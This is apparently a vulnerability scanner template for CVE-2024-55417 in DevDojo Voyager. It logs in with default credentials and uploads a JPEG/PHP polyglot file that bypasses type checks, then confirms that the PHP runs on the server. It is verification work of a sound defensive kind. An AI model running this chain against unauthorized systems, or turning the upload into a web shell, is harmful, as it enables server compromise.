DevDojo Voyager <= 1.8.0 - Arbitrary File Write vulnerability

id: CVE-2024-55417

info:
  name: DevDojo Voyager <= 1.8.0 - Arbitrary File Write vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.
  impact: |
    Authenticated attackers can bypass file type restrictions to upload PHP web shells, allowing arbitrary code execution on the server with web server privileges.
  remediation: |
    Update DevDojo Voyager to version 1.8.1 or later to address the file upload validation bypass vulnerability.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerMediaController.php#L238
  classification:
    cve-id: CVE-2024-55417
    epss-score: 0.15884
    epss-percentile: 0.96914
  metadata:
    verified: true
    max-request: 5
    shodan-query: title:"Voyager"
  tags: cve,cve2024,intrusive,devdojo,voyager,file-upload,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  username: "[email protected]"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'

  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/media HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf2
        group: 1
        regex:
          - '"csrf-token" content="([a-zA-Z0-9]+)"'

  - raw:
      - |
        POST /admin/media/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqv6qtCsokj1vi0NA

        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="_token"

        {{csrf2}}
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="upload_path"

        /
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="filename"

        null
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="details"

        {"thumbnails":[],"watermark":{}}
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: text/php

        {{base64_decode('/9j//gApPD9waHAgZWNobyBiYXNlNjRfZGVjb2RlKCRfR0VUWyJxIl0pOz8+/9sAQwADAgICAgIDAgICAwMDAwQGBAQEBAQIBgYFBgkICgoJCAkJCgwPDAoLDgsJCQ0RDQ4PEBAREAoMEhMSEBMPEBAQ/8kACwgAAQABAQERAP/MAAYAEBAF/9oACAEBAAA/ANLPIP/Z')}}
        ------WebKitFormBoundaryqv6qtCsokj1vi0NA--

    matchers:
      - type: word
        part: body
        words:
          - 'Encoding format (php) is not supported.'
        internal: true

  - raw:
      - |
        GET /storage/{{randstr}}.php?q={{base64('{{randstr}}')}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{randstr}}"